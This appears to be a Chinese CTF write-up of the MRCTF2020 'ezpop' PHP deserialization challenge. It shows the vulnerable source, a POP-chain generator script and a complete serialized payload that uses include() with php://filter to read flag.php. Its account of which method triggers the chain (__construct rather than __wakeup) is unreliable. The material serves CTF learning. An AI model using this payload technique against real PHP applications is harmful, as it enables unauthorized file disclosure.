[MRCTF2020]ezpop wp

本題考點:php反序列化的pop鏈

首先來了解一下pop鏈是什么,它類似于多米諾骨牌一環套一環,要調用這個成員方法然后去找能調用這個方法的魔術方法,最后一環接一環,完成一個鏈子,最終形成payload。

那么來了解一下這些魔術方法

__construct()??????????? //類的構造函數,創建對象時觸發(new 對象())
__destruct()???????????? //類的析構函數,對象被銷毀時觸發(調用完后就會觸發)(反序列化調用對象時也會觸發)
__call()???????????????? //在對象上下文中調用不可訪問的方法時觸發
__callStatic()?????????? //在靜態上下文中調用不可訪問的方法時觸發
__get()????????????????? //讀取不可訪問屬性的值時,這里的不可訪問包含私有屬性或未定義
__set()????????????????? //在給不可訪問屬性賦值時觸發
__isset()??????????????? //當對不可訪問屬性調用 isset() 或 empty() 時觸發
__unset()??????????????? //在不可訪問的屬性上使用unset()時觸發
__invoke()?????????????? //當嘗試以調用函數的方式調用一個對象時觸發(當對象以class名()輸出時會觸發)
__sleep()??????????????? //執行serialize()時,先會調用這個方法
__wakeup()?????????????? //執行unserialize()時,先會調用這個方法
__toString()???????????? //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用(用echo輸出對象的時候會觸發)(php中echo 只能輸出字符串,而print_r()可以輸出對象,數組等)

好那么看題

?
Welcome to index.php<?php//flag?is?in?flag.php//WTF?IS?THIS?//Learn?From?https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And?Crack?It!class?Modifier?{protected??$var;public?function?append($value){include($value);}public?function?__invoke(){$this->append($this->var);}}class?Show{public?$source;public?$str;public?function?__construct($file='index.php'){$this->source?=?$file;echo?'Welcome?to?'.$this->source."<br>";}public?function?__toString(){return?$this->str->source;}public?function?__wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",?$this->source))?{echo?"hacker";$this->source?=?"index.php";}}}class?Test{public?$p;public?function?__construct(){$this->p?=?array();}public?function?__get($key){$function?=?$this->p;return?$function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new?Show;highlight_file(__FILE__);}?

首先看有危害的地方,如:eval,assert,system,include等危險函數,本題有危害的地方是

?public?function?append($value){

????????include($value);

????}

這里定義了一個參數可以包含文件,而本題開頭也有提示,flag在flag.php里面。

那么接下來找哪里調用了這個方法

????public?function?__invoke(){

????????$this->append($this->var);

????}

可以看到invoke()這個魔術方法調用了append方法,那么如何觸發(當對象被當作函數觸發時)也就是類名加上(),

找下一環怎么才能讓對象被當作函數觸發

class?Test{

????public?$p;

????public?function?__construct(){

????????$this->p?=?array();

????}

????public?function?__get($key){

????????$function?=?$this->p;

????????return?$function();

????}

}

這里最后如果把p傳入一個append的對象Modifier,那么最后會返回Modifier(),?__construct()(這個方法創建對象或者實例化對象就觸發不用理它),那么著重看__get(),這個要調用一個不存在的成員變量來觸發,那么下一步就是去找如何才能調用不存在的成員變量

?public?function?__toString(){

????????return?$this->str->source;

????}

這里的意思是如果觸發__toString(),那么返回str里的source屬性,先不用管它為什么同為屬性,str就能調用source,這里把它當成了一個對象,那么如果給str賦一個沒有source的對象,這不就有不存在的成員變量了嘛,那么可以給str賦值為Test來觸發__get方法。這個__toString()的觸發方式是把對象當成字符串:

__toString()???????????? //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用(用echo輸出對象的時候會觸發)(php中echo 只能輸出字符串,而print_r()可以輸出對象,數組等)

來找一個有echo且能賦值的地方

????public?function?__construct($file='index.php'){

????????$this->source?=?$file;

????????echo?'Welcome?to?'.$this->source."<br>";

????}

這里就能賦值的同時用echo輸出,那么給source賦值一個對象就行了,其他兩個類都用了,這次就只能用它本身的類Show了,這里是__construct()方法就不用想辦法讓它觸發了,那么一個pop鏈就完成了,這里我用的是倒推法

__construct->?__toString()->__get()->__invoke()->?append($value)(觸發文件包含)

那么就把這些序列化吧,

<?phpclass Modifier {protected? $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;}class Test{public $p;public function __get($key){$function = $this->p;return $function();}}$a = new Modifier();$b = new Show();$c = new Test();$b->str=$c;$b->source=$b;$c->p=$a;echo serialize($b);?>

這里用php://filter的原因是,只用flag.php是讀取不到的。

對了,protected方法有特殊字符占位所以要在變量前輸入%00*%00,簡單點的方法就是在echo后面加一個urlencode()

最后輸出$b也就是show對象的原因是它底下的兩個變量都成了另外兩個類了,直接輸它省事。

Payload:O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}

最后得出flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/78906.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/78906.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/78906.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

spark架構和RDD相關概念

運行架構&#xff1a; Spark采用master - slave結構&#xff0c;Driver作為master負責作業任務調度&#xff0c;Executor作為slave負責實際執行任務。 核心組件 Driver&#xff1a;執行Spark任務的main方法&#xff0c;將用戶程序轉化為作業&#xff0c;在Executor間調度任務&…

安全是基石

“安全是基石”這句話強調了安全在個人、企業、社會等各個層面中的基礎性和不可替代的重要性。無論是物理安全、網絡安全、數據安全&#xff0c;還是生產安全、公共安全&#xff0c;都是保障穩定發展的前提。以下是不同領域中“安全”作為基石的體現&#xff1a; 1. 個人安全 基…

Linux Makefile-概述、語句格式、編寫規則、多文件編程、Makefile變量分類:自定義變量、預定義變量

目錄 1.make 1.1 make 命令格式 2.Makefile 核心概念? ? 2.1創建并運行 Makefile步驟 3. Makefile編寫 3.1最基礎Makefile 3.1.1使用默認make命令 3.1.2使用make -f 命令 3.1.2.1 使用make -f 命令執行默認make操作 3.1.2.2使用 make [ ‐f file ] [ targets ]命令 …

城市應急安防系統EasyCVR視頻融合平臺:如何實現多源視頻資源高效匯聚與應急指揮協同

一、方案背景 1&#xff09;項目背景 在當今數字化時代&#xff0c;隨著信息技術的飛速發展&#xff0c;視頻監控和應急指揮系統在公共安全、城市應急等領域的重要性日益凸顯。尤其是在關鍵場所&#xff0c;高效的視頻資源整合與傳輸能力對于應對突發公共事件、實現快速精準的…

雙Token實現用戶登錄身份認證-Java版

雙Token實現用戶登錄身份認證-Java版 1. 設計方案 方案概述: Access Token: 短期有效的JWT,包含用戶ID、設備ID、token版本號。Refresh Token: 長期有效的令牌,存儲于Redis,關聯用戶信息、設備ID及token版本號,用于刷新Access Token。設備綁定: Token與設備ID綁定,防止跨…

Proteus vs Multisim:電路設計與仿真軟件對比

Proteus和Multisim作為兩款主流的電路設計與仿真軟件&#xff0c;在功能定位和應用場景上既有重疊也有顯著差異。以下從多個維度綜合闡述兩者的異同點&#xff1a; 一、相同點 基礎功能 ? 電路原理圖設計&#xff1a;支持電路設計和仿真分析。 ?? 虛擬儀器&#xff1a;提供…

ssh 三級跳

ssh 三級跳 在網絡安全和數據傳輸領域&#xff0c;SSH&#xff08;Secure Shell&#xff09;是一種常用的協議&#xff0c;用于加密兩臺計算機之間的通信。在某些情況下&#xff0c;你可能需要通過一個中間服務器來間接連接到目標服務器&#xff0c;這通常被稱為“三級跳”或“…

Java 性能優化:從原理到實踐的全面指南

性能優化是 Java 開發中不可或缺的一環&#xff0c;尤其在高并發、大數據和分布式系統場景下&#xff0c;優化直接影響系統響應速度、資源利用率和用戶體驗。Java 作為一門成熟的語言&#xff0c;提供了豐富的工具和機制支持性能調優&#xff0c;但優化需要深入理解 JVM、并發模…

【土堆 PyTorch 教程總結】PyTorch入門

目錄 一、python學習中兩大法寶函數 1、dir() 2、help() 二、PyTorch讀取數據集 1、Dataset類 &#xff08;1&#xff09;作用和基本原理 &#xff08;2&#xff09;常見用法 &#xff08;3&#xff09;自定義 Dataset 示例 2、Dataloader類 &#xff08;1&#xff0…

5.DJI-PSDK:Psdk開發負載與Msdk的應用app進行交互:

DJI-PSDK:Psdk開發負載與Msdk的應用app進行交互: 負載設備和無人機使用數據傳輸模塊,在控制命令傳輸通道上以透傳的方式在PSDK和MSDK間傳輸控制指令。在高速數據傳輸通道上以透傳的方式在PSDK和MSDK間傳輸數據信息以及用戶自定義的數據。使用數據傳輸功能,不僅可以設置不同…

2025 藍橋杯省賽c++B組個人題解

聲明 本題解為退役蒻茍所寫&#xff0c;不保證正確性&#xff0c;僅供參考。 花了大概2個半小時寫完&#xff0c;感覺比去年省賽簡單&#xff0c;難度大概等價于 codeforces dv4.5 吧 菜雞不熟悉樹上背包&#xff0c;調了一個多小時 題目旁邊的是 cf 預測分 所有代碼均以通…

Dubbo(53)如何在Spring Boot中集成Dubbo?

在Spring Boot中集成Dubbo可以通過Spring Boot Starter來簡化配置&#xff0c;以下是詳細的步驟和相關代碼示例。 1. 引入依賴 首先&#xff0c;在Spring Boot項目的 pom.xml 中添加Dubbo相關的依賴&#xff1a; <dependencies><!-- Spring Boot Starter --><…

開發一個環保回收小程序需要哪些功能?環保回收小程序

廢品分類展示與識別 詳細分類列表&#xff1a;清晰展示常見廢品類型&#xff0c;如廢紙&#xff08;報紙、書本紙、包裝紙等&#xff09;、塑料&#xff08;塑料瓶、塑料容器、塑料薄膜等&#xff09;、金屬&#xff08;易拉罐、鐵制品、銅制品等&#xff09;、玻璃&#xff0…

抗干擾CAN總線通信技術在分布式電力系統中的應用

摘要&#xff1a;隨著分布式電力系統的廣泛應用&#xff0c;其通信系統的可靠性與穩定性受到了前所未有的挑戰。CAN總線通信技術以其卓越的抗干擾性能和可靠性&#xff0c;在眾多通信技術中脫穎而出&#xff0c;成為解決分布式電力系統通信問題的關鍵。本文深入剖析了CAN總線通…

MySQL與Oracle深度對比

MySQL與Oracle深度對比&#xff1a;數據類型與SQL差異 一、數據類型差異 1. 數值類型對比 數據類型MySQLOracle整數TINYINT, SMALLINT, MEDIUMINT, INT, BIGINTNUMBER(精度) 或直接INT(內部仍為NUMBER)小數DECIMAL(p,s), FLOAT, DOUBLENUMBER(p,s), FLOAT, BINARY_FLOAT, BI…

探索 Rust 語言:高效、安全與并發的完美融合

在當今的編程語言領域&#xff0c;Rust 正以其獨特的魅力吸引著越來越多開發者的目光。它誕生于 Mozilla 實驗室&#xff0c;旨在解決系統編程中長久以來存在的難題&#xff0c;如今已成為構建可靠、高效軟件的有力工具。 1 內存安全 Rust 通過所有權&#xff08;ownership&a…

springboot框架集成websocket依賴實現物聯網設備、前端網頁實時通信!

需求&#xff1a; 最近在對接一個物聯網里設備&#xff0c;他的通信方式是 websocket 。所以我需要在 springboot框架中集成websocket 依賴&#xff0c;從而實現與設備實時通信&#xff01; 框架&#xff1a;springboot2.7 java版本&#xff1a;java8 好了&#xff0c;還是直接…

第八天 開始Unity Shader的學習之Blinn-Phong光照模型

Unity Shader的學習筆記 第八天 開始Unity Shader的學習之Blinn-Phong光照模型 文章目錄 Unity Shader的學習筆記前言一、Blinn-Phong光照模型①計算高光反射部分效果展示 二、召喚神龍:使用Unity內置的函數總結 前言 今天我們編寫另一種高光反射的實現方法 – Blinn光照模型…

React八案例上

代碼下載 技術棧&#xff1a; React 核心庫&#xff1a;react、react-dom、react-router-dom腳手架&#xff1a;create-react-app數據請求&#xff1a;axiosUI組件庫&#xff1a; antd-mobile其他組件庫&#xff1a; react-virtualized、formikyup、react-spring 等百度地圖A…

線代[13]|線性代數題37道以及數學分析題3道(多圖預警)

博主首次發布于CSDN&#xff0c;禁止轉載&#xff01;&#xff08;CSDN&#xff1a;漢密士2025&#xff09; 文章目錄 一、緣起&#xff5c;《俗說矩陣》課程目錄照片存檔&#xff5c;線性代數學習脈絡&#xff5c;線代習題集封面存檔&#xff5c;未來——我與線性代數的糾纏 二…